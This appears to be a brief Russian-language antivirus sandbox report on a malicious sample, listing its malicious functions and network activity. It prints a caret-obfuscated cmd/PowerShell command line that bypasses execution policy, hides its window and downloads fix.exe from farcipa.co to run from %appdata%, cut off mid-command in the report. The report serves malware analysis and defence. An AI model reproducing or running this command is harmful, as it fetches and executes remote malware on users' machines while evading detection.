Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- https://farcipa.co/fix.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PO^WEr^shE^lL^.ex^e^ -ex^E^Cutio^NPoL^IcY^ by^p^ass ^ -n^o^p^ro^fi^l^e^ -^wi^nd^ow^styl^e h^idden ^(^ne^w-^ob^ject s^ys^t^em.ne^t^.we^b^cl^ie^n^t)^.do^wnloa^df^i^l^e('https://farcipa.co/fix...
Сетевая активность
UDP
- DNS ASK fa##ipa.co
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PO^WEr^shE^lL^.ex^e^ -ex^E^Cutio^NPoL^IcY^ by^p^ass ^ -n^o^p^ro^fi^l^e^ -^wi^nd^ow^styl^e h^idden ^(^ne^w-^ob^ject s^ys^t^em.ne^t^.we^b^cl^ie^n^t)^.do^wnloa^df^i^l^e('https://farcipa.co/fix... (со скрытым окном)
